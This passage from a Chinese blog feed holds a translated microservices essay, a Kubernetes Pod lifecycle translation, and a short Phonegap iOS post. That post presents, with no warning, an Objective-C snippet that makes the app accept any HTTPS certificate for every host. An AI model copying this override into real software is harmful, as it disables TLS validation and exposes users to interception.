&lt;p&gt;另外一个用服务做组件的结果就是更直接的组件界面。多数语言并没有一个好的机制来定义一个清晰的&lt;a href=&#34;http://martinfowler.com/bliki/PublishedInterface.html&#34; target=&#34;_blank&#34;&gt;公开接口&lt;/a&gt;。一般只会有文档和规则来阻止客户端破坏组件的封装，这就会造成组件间的耦合。服务方式则可以比较容易的通过限制远程调用的机制来避免这种情况。&lt;/p&gt;

&lt;p&gt;如此使用服务也会有坏处。相比进程内调用，远端调用的成本相对高昂，(为了节省调用成本)，就需要把远程 API 设计成为粗粒度的结构，但这样的话，又会难于使用。如果想要在不同组件之间移动功能，这一难度在使用服务（跨越进程）的情况下会大大增加。&lt;/p&gt;

&lt;p&gt;服务似乎可以映射为进程，不过只是似乎。一个服务可以包含很多一起开发和部署的进程，例如一个应用进程和一个该进程专属的数据库。&lt;/p&gt;

&lt;h3 id=&#34;根据业务功能进行组织&#34;&gt;根据业务功能进行组织&lt;/h3&gt;

&lt;p&gt;在尝试将一个大应用拆分开来的过程中，一般是着眼于技术层面，代领 UI 团队、服务端团队、以及数据库团队协作完成任务。如此的组织方式下，即使是简单的变更，也需要团队间的协作，需要完成时间和预算的相关流程。有的团队会围绕这一情况进行优化，两害相权取其轻——能访问哪个应用就把逻辑放到哪里。换句话说，逻辑到处都是。这是康威定律的具体体现。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&#34;http://www.melconway.com/Home/Committees_Paper.html&#34; target=&#34;_blank&#34;&gt;一个组织设计出来的系统，其结构取决于该组织的通讯结构。&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Melvyn Conway, 1967&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;img src=&#34;images/conway.png&#34; alt=&#34;conway&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 2：康威定律&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;微服务的拆分规则是不同的，是以业务能力维度来进行拆分的。服务实现某种业务能力的一个方面，包括用户界面、持久存储，以及任何的外部协作。因此，这个团队也要是多功能的，具有这项开发任务的所有必要技能：用户体验、数据库以及项目管理。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/border.png&#34; alt=&#34;服务边界和团队边界&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://www.comparethemarket.com/&#34; target=&#34;_blank&#34;&gt;www.comparethemarket.com&lt;/a&gt; 采用了这样的组织结构。具有交叉功能的团队负责建设和运维每个产品，每个产品都被拆分称为一系列独立的服务，服务之间使用消息总线进行通信。&lt;/p&gt;

&lt;p&gt;大型的 Monolithic 应用也能围绕业务能力进行模块化。当然我们可以建立一个庞大团队来建立一个按业务线拆分的大应用。这一做法的主要问题是，这样的应用会跨越很多模块，相应的就会具有很多的上下文，团队成员的短期记忆很难适应任务的切换。而且这里面还有一个问题就是，要制定很多的规则，来保证模块的边界。&lt;/p&gt;

&lt;h3 id=&#34;产品不是项目&#34;&gt;产品不是项目&lt;/h3&gt;

&lt;p&gt;我们所见的多数应用开发都是使用项目模型：把完成的软件交付出去。交付之后，完成软件的团队就解散了。&lt;/p&gt;

&lt;p&gt;微服务的倡导者们建议避开这种模型，而建议由同一个团队掌握产品的整个生命周期。一个例子就是 Amazon 的 “谁开发谁运行”（&lt;a href=&#34;https://queue.acm.org/detail.cfm?id=1142065&#34; target=&#34;_blank&#34;&gt;You build, you run it&lt;/a&gt;），开发团队要承担软件在生产环境的运行情况。这让开发者每天都会关注到产品的运行情况，并增进同用户的沟通，至少会分担一部分支持的责任。&lt;/p&gt;

&lt;p&gt;旧有模式把系统看成一堆待开发完成的功能，而产品心态则更进一步——关注软件是否能够帮助用户增强其业务能力。&lt;/p&gt;

&lt;p&gt;Monolithic 应用也可以采用这一目标，但是小粒度的服务更容易在用户和开发者之间产生联系。&lt;/p&gt;

&lt;h3 id=&#34;智能端点和哑管道&#34;&gt;智能端点和哑管道&lt;/h3&gt;

&lt;p&gt;当在不同进城之间建立通信结构时，我们会看到很多产品和方法都试图把智能嵌入到通信机制当中去。一个明显的例子就是 ESB，ESB 产品经常会包含消息路由、编排、转换以及业务规则等功能。&lt;/p&gt;

&lt;p&gt;微服务社区倾向于另外一种方式：*智能端点和哑管道*。微服务方式构建的应用力求高内聚和低耦合， ——每个服务都像 Unix 中的 Filter 一样工作——接受请求，处理，输出响应。使用简单的 REST 风格的协议，而不是 WX 或者 BPEL 之类的复杂协议。&lt;/p&gt;

&lt;p&gt;最常见的两个协议是 带有资源 API 的 HTTP 请求-响应以及轻量级消息协议。最好的表达是：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;成为 Web，而不是基于 Web
-- Ian Robinson
&lt;/code&gt;&lt;/pre&gt;

&lt;blockquote&gt;
&lt;p&gt;为了追求伸缩性的极致，有些组织最后会转向 &lt;a href=&#34;https://code.google.com/p/protobuf/&#34; target=&#34;_blank&#34;&gt;protobufs&lt;/a&gt; 这样的二进制协议。使用了这样的协议，仍然是智能端点 + 哑管道的，只是为了性能损失了透明性。对大多数 Web 应用来说是无需做出这样的妥协的——透明本身也是明显的优势。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;微服务团队使用的规则和协议，正是互联网的基础。常用的资源可以轻易地由开发或运维人员进行缓存。&lt;/p&gt;

&lt;p&gt;另一种常用的方法是轻量级的消息总线。一般会选择哑管道类型（就是说只使用消息路由功能）例如 RabbitMQ 或者 ZeroMQ 这样的产品，除去提供可靠的异步功能，几乎没有其他能力。智能始终存在于生产或消费消息的服务端点。&lt;/p&gt;

&lt;p&gt;在 Monolith 应用中，组件在进程内执行，通信是通过方法或者函数的调用来实现的。因此从 Monolith 迁移到微服务的最大问题就是通信方式的改变。简单的从内存方法调用转换为 RPC 并不合适。应该把通信从细粒度转为粗粒度。&lt;/p&gt;

&lt;h3 id=&#34;去中心化的治理&#34;&gt;去中心化的治理&lt;/h3&gt;

&lt;p&gt;中心化治理的一个后果就是单技术平台的倾向。经验表明，这种方法有其固有的局限性——不能用一个方案解决所有问题。我们建议用合适的工具对付特定的任务。Monolithic 应用在某些情况下也可以使用多种语言，但这并不是一个常规的情况。&lt;/p&gt;

&lt;p&gt;把 Monolith 应用拆分为服务，我们就有了选择每个服务实现方式的机会。用 Node.js 来启动一个简单的报告页面？用 C++ 来完成一些接近实时的任务？为了更好的读取性能而选择其他风格的数据库？每一种问题我们都有办法分开解决了。&lt;/p&gt;

&lt;p&gt;当然了，能用/会用什么办法，并不意味着就应该用这种办法。但是经过这样的拆分，你就有了选择。&lt;/p&gt;

&lt;p&gt;构建微服务的团队倾向于一种不同的标准化的方法。与纸面规矩不同，我们更愿意制作有用的工具，帮助其他开发者解决类似的问题。这些工具一般来自于项目，分享给更多人，也不排除使用一种内部的开源模型。现在 Git 和 Github 已经成为版本控制系统的事实标准，开源实践也日益盛行。&lt;/p&gt;

&lt;p&gt;Netflix 就是一个遵循这种哲学的例子。分享有用的、经过高强度测试的代码，鼓励其他开发者用相似的办法解决相似的问题，对有实际需求的另辟蹊径的解决方法也抱以开放的心态。分享库集中于一些基础问题，包括数据存储、进程间通信以及后面我们会讨论到的——基础设施自动化。&lt;/p&gt;

&lt;p&gt;对于微服务社区来说，开销不是个有吸引力的问题。这并不是说社区不重视服务合同（协议），而是因为想要做到更多，&lt;a href=&#34;http://martinfowler.com/bliki/TolerantReader.html&#34; target=&#34;_blank&#34;&gt;Tolerant Reader&lt;/a&gt; 和 &lt;a href=&#34;http://martinfowler.com/articles/consumerDrivenContracts.html&#34; target=&#34;_blank&#34;&gt;Consumer Driven&lt;/a&gt; 都是微服务中常见的模式。这些服务协议正在独立发展。在服务中采用 Consumer Driven 方式，能够快速获取服务是否正常工作的反馈信息。澳大利亚的一个团队就是使用这种方式。他们利用简单的工具来为服务定义合同。这一自动过程在服务代码编写之前就得以执行。服务只有在满足合同要求时才能被构建，这样在构建新软件的时候，就优雅的规避了 &amp;lsquo;YAGNI&amp;rsquo; 困境。这些技术和工具不断成长，通过解耦服务的方式避免了对中心管制的依赖。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;YAGNI 或者说“你不需要他”，是一个 &lt;a href=&#34;http://c2.com/cgi/wiki?YouArentGonnaNeedIt&#34; target=&#34;_blank&#34;&gt;XP 原则&lt;/a&gt;，在确定需要之前，不要加入新功能。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;可能去中心化治理的最高点就是 Amazon 了。一个团队要负责其开发的软件的包括 &lt;sup&gt;24&lt;/sup&gt;&amp;frasl;&lt;sub&gt;7&lt;/sub&gt; 运维在内的方方面面的工作。放权到这个层次当然不是很常见，不过我们看到越来越多的公司正在把职权推给开发团队。Netflix 是另外一个采用这种办法的公司。每天凌晨三点钟被传呼机叫醒，绝对会提升你编写代码时对质量的警觉度。这种理念同传统的中心治理模型渐行渐远。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Adrian Cockcroft 在 2013 年 11 月的&lt;a href=&#34;http://www.slideshare.net/adrianco/flowcon-added-to-for-cmg-keynote-talk-on-how-speed-wins-and-how-netflix-is-doing-continuous-delivery&#34; target=&#34;_blank&#34;&gt;演讲&lt;/a&gt;中特别的提到“开发者自助”以及“开发者负责运行”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;去中心化的数据管理&#34;&gt;去中心化的数据管理&lt;/h3&gt;

&lt;p&gt;数据管理的去中心化有很多的表现形式。在最抽象的层面，他意味着在不同的系统中，世界的模型是不同的。这在大企业的集成过程中很常见，例如在销售视图中一个称为客户的对象，在客服系统中可能完全不同。在不同环境下一个对象可能有不同的属性。&lt;/p&gt;

&lt;p&gt;这种情况往往发生在应用之间，不过也可能在应用内部的组件之间发生。领域驱动设计观念中的&lt;a href=&#34;http://martinfowler.com/bliki/BoundedContext.html&#34; target=&#34;_blank&#34;&gt;限界上下文（Bounded Context）&lt;/a&gt;是一个有用的思考这一问题的途径。DDD 把一个复杂的域拆分为多个限界上下文，并在中间对关系进行映射。这一过程对 Monolithic 和微服务架构都有效的，不过微服务根据业务能力进行的拆分在这方面更清晰，更接近。&lt;/p&gt;

&lt;p&gt;概念模型上的去中心化之外，微服务还对数据存储进行了去中心化。Monolithic 应用倾向于一个单独的逻辑数据库来存储持久化数据，因为数据库厂商的授权方式，企业往往也希望单独的一个数据库为多个应用服务。微服务则更希望每个服务管理自己的数据库，数据库可以是同样的，也可以是完全不同的，这种方式被称为&lt;a href=&#34;http://martinfowler.com/bliki/PolyglotPersistence.html&#34; target=&#34;_blank&#34;&gt;混合持久化( Polyglot Persistence )&lt;/a&gt;，当然 Monolithic 应用也可以这样使用，但是这种用法更多的还是出现在微服务架构中。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/polyglot-persistent.png&#34; alt=&#34;Polyglot Persistence&#34; /&gt;&lt;/p&gt;

&lt;p&gt;微服务之间的数据的去中心化，隐含了更新管理的要求。一般的方法是在更新多个资源的时候，利用事务来保证一致性，这种方式在 Monoliths 应用中最为常见。&lt;/p&gt;

&lt;p&gt;事务在解决一致性问题的同时，也造成了时间上的耦合，在多服务应用中实现也是有困难的。而分布式事务的难度可以说是街知巷闻了，因此微服务架构&lt;a href=&#34;http://www.eaipatterns.com/ramblings/18_starbucks.html&#34; target=&#34;_blank&#34;&gt;强调服务间的非事务协调&lt;/a&gt;，只对最终一致性做出保证，其他的问题通过补偿操作进行处理。&lt;/p&gt;

&lt;p&gt;如何管理不一致的数据，也给开发团队带来新的挑战，不过这本来也是业务实践过程中常见的情况。现实世界中的业务经常会容忍一定程度的不一致，以此换取快速响应需求的能力，然后用某些反冲过程来处理不一致造成的问题。相对于保证高度一致性的成本，这种对不一致的妥协方式是行之有效的。&lt;/p&gt;

&lt;h3 id=&#34;基础设施自动化&#34;&gt;基础设施自动化&lt;/h3&gt;

&lt;p&gt;近年来，针对基础设施的自动化技术取得了长足的进步。云计算、AWS 带来的进步，成功的降低了构建、部署以及运维微服务应用的复杂性。&lt;/p&gt;

&lt;p&gt;很多微服务架构的产品和系统都是由具有&lt;a href=&#34;http://martinfowler.com/bliki/ContinuousDelivery.html&#34; target=&#34;_blank&#34;&gt;持续交付&lt;/a&gt;或&lt;a href=&#34;http://martinfowler.com/articles/continuousIntegration.html&#34; target=&#34;_blank&#34;&gt;持续集成&lt;/a&gt;经验的团队所构建的。这种团队在自动化技术方面有很多应用，下图描述了构建流程：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/build_pipeline.png&#34; alt=&#34;basic build pipeline&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;图 5：基础构建流程&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;编译，单元和功能测试（Build 环境运行）&lt;/li&gt;
&lt;li&gt;验收测试（部署到 Build 环境）&lt;/li&gt;
&lt;li&gt;集成测试（部署到集成环境）&lt;/li&gt;
&lt;li&gt;用户验收测试（部署到用户验收测试环境）&lt;/li&gt;
&lt;li&gt;性能测试（部署到性能测试环境）&lt;/li&gt;
&lt;li&gt;发布到生产环境&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;本文的焦点并非持续交付，因此这里只会提到一些关键点。我们要尽可能的保证我们的软件可以运行，所以要运行很多的自动测试。能够运行的软件在流程中的“前进”意味着自动部署到指定环境。&lt;/p&gt;

&lt;p&gt;Monolithic 应用也可以被轻松的 Build，测试和推送到制定环境中。事实证明，一旦应用实现了自动化，那么应用的发布就不再惊悚了。需要强调的是，持续交付的目标就是让部署变得无聊，所以不管是一个还是三个应用，只要是无聊的，就是没有问题的。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里似乎不够坦诚。很明显发布多个服务是比发布单个的 Monolith 应用更复杂的，幸运的是，这种复杂度可以通过工具化来降低。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;另外一个需要自动化的场合就是管理正在生产环境运行的微服务应用。上面提到的部署过程区别并不大，然而在运维过程中，自动化就会产生明显的区别了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/deployment.png&#34; alt=&#34;module deployment oftern differs&#34; /&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Monolith：多个模块运行在同一进程中。&lt;/li&gt;
&lt;li&gt;微服务：模块运行在不同的进程中&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;图 6：模块部署的区别*&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;面向故障的设计-desgin-for-failure&#34;&gt;面向故障的设计（Desgin for failure）&lt;/h3&gt;

&lt;p&gt;既然把服务作为组件来使用，那么自然而然的，应用就应该适当的容忍服务的故障。每个服务的提供者都可能出现调用失败的情况，客户端必须尽可能的对此做出正确的应对。相对于 Monolithic 应用来说，微服务架构在这里引入了更多的复杂性，因此这是微服务架构的劣势之一。后果就是微服务团队必须要考虑服务失败对用户体验的影响。Netflix 的 &lt;a href=&#34;https://github.com/Netflix/SimianArmy&#34; target=&#34;_blank&#34;&gt;Simian Army 项目&lt;/a&gt; 可以模拟服务甚至是数据中心的故障，来检测应用的恢复能力以及监控能力。&lt;/p&gt;

&lt;p&gt;服务既然随时可能失败，那么对服务的快速检测，并尽可能的恢复服务，就很重要了。实时监控对于微服务应用来说是至关重要的，监控内容包括架构级别的要素（数据库的每秒请求数量），以及业务相关的维度（例如每分钟订单数）。监控系统应该能够在系统不正常的时候，警告开发人员介入调查。&lt;/p&gt;

&lt;p&gt;这对微服务架构来说是很重要的，有了服务编排和&lt;a href=&#34;http://martinfowler.com/eaaDev/EventCollaboration.html&#34; target=&#34;_blank&#34;&gt;事件协作&lt;/a&gt;，微服务架构表现了一定的自发性。虽然很多人认为自发行为是一大优势，然而自发行为也有失控的可能。所以监控在这里就至关重要了，当错误的自发行为产生时，能够快速的进行修复。&lt;/p&gt;

&lt;p&gt;Monoliths 也可以像微服务一样的透明化——其实本该如此。不同之处在于，微服务架构中，必须知道断开的功能是属于哪个服务哪个进程的。在同一个进程中的话，这一过程就没什么用处了。&lt;/p&gt;

&lt;p&gt;微服务团队期望有一个承载日志和监控的仪表盘，来展示服务状态以及业务信息。&lt;/p&gt;

&lt;h3 id=&#34;迭代设计&#34;&gt;迭代设计&lt;/h3&gt;

&lt;p&gt;微服务的实践者一般都有迭代式设计的背景，他们看到了服务分解这一特性，让开发者能够在控制应用的变更。变更控制并不意味着减少变更，而是说用正确的态度和工具来频繁、快速，可控的对软件进行变更。&lt;/p&gt;

&lt;p&gt;尝试把软件系统拆分为组件时，会面对一个决策：怎么拆？一个独立的组件，应该是可以独立升级，并可整体被替换的——也就是说我们可以在不影响相关的其他组件的情况下，重写一个组件。事实上很多微服务组织更进一步，宁愿过分细碎，也不愿参杂不清。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Dan North 更愿意称之为可替换组件架构，而不是微服务。这似乎是我们后面要谈到的特性的一个子集。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Guardian 网站是一个很好的 Monolith 应用的例子，但是也已经像微服务方向发展了。Monolith 仍然是网站的主干，但是他们利用 Monolith 的 API，建立微服务，来实现新的功能。这种办法对一些短期的内部功能非常有效，例如一个体育赛事的专题页面。这种方式搭建的部分页面能够用快速开发的语言迅速上线，然后在赛事结束之后立刻停掉。我们已经在一些金融机构见到类似的做法：为一个市场机会、活动建立新的服务，结束后再将服务下线。&lt;/p&gt;

&lt;p&gt;模块化设计的规则中，可替换原则，是一个让设计能够经得住变更的考验的重要部分。要保证同一个模块内的变化能够同步进行。系统中较少改变的部分应该沉淀到稳定的经过实践检验的服务中期。重复的同时修改两个服务的情况是一个应当做出服务合并决策的象征。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Kent Beck 以此作为 &lt;a href=&#34;http://www.amazon.com/gp/product/0321413091?ie=UTF8&amp;amp;tag=martinfowlerc-20&amp;amp;linkCode=as2&amp;amp;camp=1789&amp;amp;creative=9325&amp;amp;creativeASIN=0321413091&#34; target=&#34;_blank&#34;&gt;实施模式&lt;/a&gt; 中的一个设计规则。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;把组件转换为服务，对于进度的保证也是颇有助益的。在 Monolith 应用中，所有的变更都需要完整的构建和部署。在微服务应用中，只需要重新部署发生变更的服务。这样就简化了发布流程，提高了发布效率。随之而来也有一个问题就是，服务的变更可能会破坏该服务的下游应用。传统的对付这一问题的方法是版本控制，不过在微服务世界中，&lt;a href=&#34;http://martinfowler.com/articles/enterpriseREST.html#versioning&#34; target=&#34;_blank&#34;&gt;这种办法只是权宜之计&lt;/a&gt;，我们要想方设法通过对下游服务的容错设计来应对上有服务的变化。&lt;/p&gt;

&lt;h2 id=&#34;微服务就是未来&#34;&gt;微服务就是未来？&lt;/h2&gt;

&lt;p&gt;本文的主要目的在于阐述微服务的思路和规则。通过这一过程，我们明确了微服务架构是值得认真对待的企业应用构建方式。我们以及其他一些团队最近用这种方式实施了很多项目；其中包括 Amazon，Netflix，&lt;a href=&#34;http://www.theguardian.com/&#34; target=&#34;_blank&#34;&gt;The Guardian&lt;/a&gt;，&lt;a href=&#34;https://gds.blog.gov.uk/&#34; target=&#34;_blank&#34;&gt;英国政府数字服务&lt;/a&gt;，&lt;a href=&#34;http://realestate.com.au&#34; target=&#34;_blank&#34;&gt;realestate.com.au&lt;/a&gt; 以及 &lt;a href=&#34;http://www.comparethemarket.com/&#34; target=&#34;_blank&#34;&gt;comparethemarket.com&lt;/a&gt;。2013 年的会议中充满了转向微服务架构的例子——其中包括 Travis CI。另外，还有很多组织正跃跃欲试——虽然可能不叫微服务（经常还是会被称为 SOA，我们之前也说过，SOA 有很多相互矛盾的表达）&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;SOA 也不是这一形式的源头。我记得当 SOA 团队在本世纪初出现的时候就有人说——我们几年前就开始做这个了。有一个争论点就是，这种风格很像早期企业中使用的 COBOL 程序，他们利用数据文件来进行通信。另外也有人说微服务跟 Erlang 的编程模型很相近，只不过是套上了企业应用的外衣。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;尽管有很多肯定的经验，我们也不希望做出微服务代表软件架构未来的结论。虽然对比 Monolith 有很多优点，然而这一方式资历尚浅，仍需时间检验。&lt;/p&gt;

&lt;p&gt;架构方面的决策后果往往要多年以后才能被证明。我们见过具有强烈模块化愿望的优秀团队，开发出的 Monolithic 架构在多年以后轰然坍塌。很多人微服务有清晰的边界，不易被污染，因此这种后果应该不会出现在微服务应用上。然而我们还是需要看到更多的系统，运行更长的时间，才能做出微服务架构已经成熟的判断。&lt;/p&gt;

&lt;p&gt;还有影响微服务成熟的因素是，组件化的成功与否，要看软件和组件的契合程度，组件的边界也是很难清楚界定的。虽然通过软件设计和重构能够降低对组件切分的难度，然而组件服务化之后，对进程间通信进行重构的难度是高于原有的进程内调用的。不同服务之间的代码移动非常困难，任何接口的变化都需要在参与方之间进行协调，需要进行更多的兼容考虑，测试也变得更为复杂。&lt;/p&gt;

&lt;p&gt;另外一个问题是如果组件的边界设计有问题的话，会让一些本应属于组件内的方法变成服务间的调用，这样的情况增加的不只是复杂性，而且还模糊了功能边界，降低了控制能力。大家都认为小的简单的组件能降低难度，却容易忽略服务之间错综复杂的连接问题。&lt;/p&gt;

&lt;p&gt;最后，还需要考虑团队的技能水准。高水准的团队才能更好地掌握新技术。对高水平团队来说很有效的技术可能在低水平团队来说完全无法应用。水平低下的团队是无法做好系统的，不论 Monolith 还是微服务架构，都无法改变这一事实。&lt;/p&gt;

&lt;p&gt;还有一个经常被讨论的问题就是，不应该直接进入微服务架构，而是应该以 &lt;a href=&#34;http://martinfowler.com/bliki/MonolithFirst.html&#34; target=&#34;_blank&#34;&gt;Monolish 架构开始&lt;/a&gt;，然后完成组件化过程，如果 Monolith 无法胜任，才需要迁移到微服务架构。（&lt;a href=&#34;http://martinfowler.com/articles/dont-start-monolith.html&#34; target=&#34;_blank&#34;&gt;这种建议并不理想&lt;/a&gt;，因为进程内的接口并不一定适合转向服务接口。）&lt;/p&gt;

&lt;p&gt;所以我们的建议是谨慎乐观。然而我们毕竟看到了，微服务模式&lt;a href=&#34;http://martinfowler.com/microservices/&#34; target=&#34;_blank&#34;&gt;值得一试&lt;/a&gt;。用于决策的信息永远都是不完整的，这正是是软件最大的挑战之一，微服务也是一样，现在下结论还为时尚早。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Phonegap iOS App 访问自签名 https</title>
      <link>/post/phonegap-access-untrusted-https/</link>
      <pubDate>Wed, 02 Mar 2016 05:38:36 +0800</pubDate>
      <guid>/post/phonegap-access-untrusted-https/</guid>
      <description>&lt;p&gt;在 &lt;code&gt;Phonegap run ios&lt;/code&gt; 生成的代码中，找到 AppDelegate.m，尾巴上加上如下代码即可。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-objc&#34;&gt;@implementation NSURLRequest(DataController)
+ (BOOL)allowsAnyHTTPSCertificateForHost:(NSString *)host
{
    return YES; 
}
@end
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Pod 的一生</title>
      <link>/post/lifecycle-of-pod/</link>
      <pubDate>Wed, 02 Mar 2016 05:09:02 +0800</pubDate>
      <guid>/post/lifecycle-of-pod/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://kubernetes.io/docs/concepts/workloads/pods/pod-lifecycle/&#34; target=&#34;_blank&#34;&gt;Pod Lifecycle&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;本文阐述了 Pod 的生命周期，这并不是一篇全面的文档，仅是这一话题的简介。&lt;/p&gt;

&lt;h1 id=&#34;pod-的阶段-phase&#34;&gt;Pod 的阶段（Phase）&lt;/h1&gt;

&lt;p&gt;按照《&lt;a href=&#34;http://kubernetes.io/v1.1/docs/user-guide/pod-states.html#restartpolicy&#34; target=&#34;_blank&#34;&gt;API 公约&lt;/a&gt;》 的描述，Pod 阶段是对生命周期的一个阶段的概括。他不是一个对 Pod 或者容器层次的状态的详尽结论，也不是一个全面的状态机。&lt;/p&gt;

&lt;p&gt;PodPhase 很封闭。除了本文提到的内容，不应该对一个 Pod 的 PodPhase 做出任何假设。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pending：Pod 被系统接收，但是其中的一个或者多个容器镜像尚未创建。这一过程包括下载镜像的时间，以及被计划运行之前的时间。&lt;/li&gt;
&lt;li&gt;Running：该 Pod 被分派给一个 Node，并且已经创建了所有容器。至少一个容器还在运行，或者正在被启动以及重启。&lt;/li&gt;
&lt;li&gt;Succeeded：Pod 中的所有容器都已经成功结束，并且不会重新启动。&lt;/li&gt;
&lt;li&gt;Failed：Pod 里所有的容器都已经结束运行，且至少一个容器的退出结果是失败的（被系统结束，或非 0 的退出状态）。&lt;/li&gt;
&lt;li&gt;Unknown：因为某些原因无法获得 Pod 状态，一般来说是 Pod 所处主机的通信出了故障。&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&#34;pod-状态-condition&#34;&gt;Pod 状态（Condition）&lt;/h1&gt;

&lt;p&gt;Pod 中容器的就绪检测会报告就绪状况，其取值可能是 True、False 或者 Unknown。&lt;/p&gt;

&lt;h1 id=&#34;容器检测&#34;&gt;容器检测&lt;/h1&gt;

&lt;p&gt;Kubelet 会周期性的对容器进行&lt;a href=&#34;https://godoc.org/k8s.io/kubernetes/pkg/api/v1#Probe&#34; target=&#34;_blank&#34;&gt;检测&lt;/a&gt; 。这一过程是如下&lt;a href=&#34;https://godoc.org/k8s.io/kubernetes/pkg/api/v1#Handler&#34; target=&#34;_blank&#34;&gt;三种方法&lt;/a&gt;之一：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ExecAction：执行一个容器内的指定命令，如果命令返回码为 0 ，则代表成功。&lt;/li&gt;
&lt;li&gt;TCPSocketAction：对目标容器的 IP 地址执行 TCP 操作，如果指定端口开放，则代表成功。&lt;/li&gt;
&lt;li&gt;HTTPGetAction：对目标容器的 IP 地址、端口号以及路径进行 HTTP Get 操作，如果返回码在 200 和 400 之间，则检测成功。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;检测过程可能会有三种结果之一：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Success：容器成功通过检测。&lt;/li&gt;
&lt;li&gt;Failure：容器检测失败。&lt;/li&gt;
&lt;li&gt;Unknown：检测未能完成。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;目前 Kubelet 能够有两种独立的检测可以被触发：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;LivenessProbe：用于检查当前容器是否存活，也就是正在运行。LivenessProbe 会告知 Kubelete 容器的健康状况。如果 LinenessProbe 失败，Kubelete 会杀掉这个容器，接下来，容器会根据 &lt;a href=&#34;http://kubernetes.io/v1.1/docs/user-guide/pod-states.html#restartpolicy&#34; target=&#34;_blank&#34;&gt;RestartPolicy（重启动策略）&lt;/a&gt;进行后续动作。容器在没进行这一检测之前的状态被标记为 Success。&lt;/li&gt;
&lt;li&gt;ReadinessProbe：当前容器是否已经就绪，可以对外提供服务。如果这一检测失败的话，即使这一Pod 还在运行，Endpoint 控制器也会把这个 Pod 的 IP 地址从相关服务中移除，这样他就不会从 Proxy 获取流量（例如容器在提供服务之前会有一个较长的启动时间，或者容器正在关机维护）。在初始化完成之前，缺省的就绪状态是 Failure。当没有进行检测的时候，容器的就绪状态缺省假设为 Success。&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&#34;容器状态-statuses&#34;&gt;容器状态（Statuses）&lt;/h1&gt;

&lt;p&gt;对容器状态的详细信息可以参考&lt;a href=&#34;https://godoc.org/k8s.io/kubernetes/pkg/api/v1#PodStatus&#34; target=&#34;_blank&#34;&gt;ContainerStatuses&lt;/a&gt;。&lt;/p&gt;

&lt;h1 id=&#34;重启策略&#34;&gt;重启策略&lt;/h1&gt;

&lt;p&gt;RestartPolicy 有几个可能的取值：Always，OnFailure 以及 Never。他的缺省值是 Always。RestartPolicy 作用于一个 Pod 中的所有容器。RestartPolicy 适用于同一 Node 的 Kubelet 的重启动操作。失败的容器会被 Kubelet 重启，重启之前会有一个渐进的延迟，延迟时长是同步频率的 0、1、2、4、8&amp;hellip;倍，上限是五分钟，成功执行 10 分钟后会复位（延迟时间）。在 [Pod 文档中] 提到，Pod 一旦绑定到了一个 Node 上，就不会再绑定到其他 Node 了。这意味着即便是只有一个 Pod，也需要有控制器来进行操作，这样在 Node 失败的时候，才能保证 Pod 的存活。&lt;/p&gt;

&lt;p&gt;目前有三种可用的控制器：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Job：用来执行会结束的 Pod (例如批处理运算)。&lt;/li&gt;
&lt;li&gt;ReplicationController：不需要结束的 Pod (例如 Web Server)。&lt;/li&gt;
&lt;li&gt;DaemonSet：每台（物理）机只能运行一个的 Pod，这种 Pod 提供机器相关的系统服务。如果在 ReplicationController 或者 Daemon 之间举棋不定，可以参考 &lt;a href=&#34;http://kubernetes.io/v1.1/docs/admin/daemons.html#daemon-set-versus-replication-controller&#34; target=&#34;_blank&#34;&gt;Daemon Set vs Replication Controller&lt;/a&gt;。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;ReplicationController 是唯一符合 RestartPolicy = Always 需要的。Job 就适合另外两种。&lt;/p&gt;

&lt;p&gt;所有三种控制器都有对应的 PodTemplate，跟 Pod 的字段一致。建议创建控制器，让控制器创建 Pod，而不是自行直接创建 Pod。这是因为 Pod 不具备适应服务器失败的能力，而控制器可以。&lt;/p&gt;

